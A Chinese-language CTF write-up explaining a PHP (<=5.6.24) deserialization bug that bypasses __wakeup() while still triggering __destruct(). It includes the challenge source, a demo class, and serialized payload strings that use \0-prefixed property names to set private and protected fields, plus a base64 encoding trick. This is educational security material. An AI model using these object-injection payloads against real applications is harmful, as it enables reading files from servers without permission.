php<=5.6.24的反序列化姿势
in 各种姿势 with 0 comment

php<=5.6.24的反序列化姿势

in 各种姿势 with 0 comment

这次去川师大打了一个ctf友谊赛,被一道审计的题卡了超级久,回来看了wp才知道是一个超级有名的漏洞,我自己居然都不知道。。。真是太菜了。补习之后在这里记录一下。

原题

<?php 
    error_reporting(0); 
    class sercet{ 
        private $file='index.php'; 
         
        public function __construct($file){ 
            $this->file=$file; 
        } 
         
        function __destruct(){ 
            echo show_source($this->file,true); 
        } 
         
        function __wakeup(){ 
            $this->file='index.php'; 
        } 
    } 
     
    $cmd=cmd00; 
    if (!isset($_GET[$cmd])){ 
        echo show_source('index.php',true); 
    } 
    else{ 
        $cmd=base64_decode($_GET[$cmd]); 
        if ((preg_match('/[oc]:\d+:/i',$cmd))||(preg_match('/flag/i',$cmd))){ 
            echo "Are u gaoshing?"; 
        } 
        else{ 
            unserialize($cmd); 
        } 
    } 
//sercet in the_next.php  

大佬们应该都应该看出来是考的什么漏洞的,就是要绕过这里的__wakeup()然后执行__destrucr()来读取the_next.php的源码。

这个其实和php bugs 72663在SugarCRM 6.5.23中利用的那个漏洞一模一样。(我之前居然都不会。。。)

这是360对该漏洞分析的文章
下面是他分析的代码

<?php
class test{
    var $wanniba;
    public function __destruct(){
        $this->wanniba = "*__destruct<br />";
    echo $this->wanniba;
    echo "__destruct OK!<br />";
    }
    public function __wakeup(){
    $this->wanniba = "*__wakeup<br />";
    echo $this->wanniba;
        echo "__wakeup OK!<br />";
    }
}
#$a = new test();
#echo serialize($a);
  
$payload = 'O:4:"test":1:{s:7:"wanniba";N;}';
$payload1 = 'O:4:"test":1:{s:10:"\0*\0wanniba";N;}';
$abc = unserialize($payload);
$abc1 = unserialize($payload1);

这里的payload1是可以成功绕过_wakeup()的
我们知道这个phpbug中反序列化在创建一个对象的过程中,对象属性创建的时候出现异常的时候可以不运行__wakeup(),仍然运行__destruct()。

$payload1 = 'O:4:"test":1:{s:10:"\0*\0wanniba";N;}';中属性名长度写的是10,然后加了一串"\0*\"。这里的"\0*\"有什么用呢?

本来$payload1 = 'O:4:"test":1:{s:10:"0wanniba";N;}';就可以绕过__wakeup了。但是在操作的时候发现,如果直接这么写,是没有办法控制wanniba变量的,要造成漏洞,就必须要找到控制变量的方法。

"\0*\0"就用用来解决这个问题的。做个实验:

<?php
class Test{
    private $aaa;
    protected $bbb;
}


$s = new Test;
$g = serialize($s);
echo $g;

浏览器打开会发现,没有啥不同的

O:4:"Test":2:{s:9:"Testaaa";N;s:6:"*bbb";N;}

但是有些东西浏览器看不到,用python的requests中的content返回的bytes型也就是二进制的数据来看:

'O:4:"Test":2:{s:9:"\x00Test\x00aaa";N;s:6:"\x00*\x00bbb";N;}'

这下就发现了\x00 + 类名 + \x00 + 变量名反序列化出来的是private变量,\x00 + * + \x00 + 变量名反序列化出来的是protected变量, 而直接变量名反序列化出来的是public变量。用这种方法,就能直接利用漏洞了。

原题里面还有一坑,直接写好payload交上去会导致url编码,所以要先base64再解开。(这个坑兔子师父爬了好久好久。。。)

Responses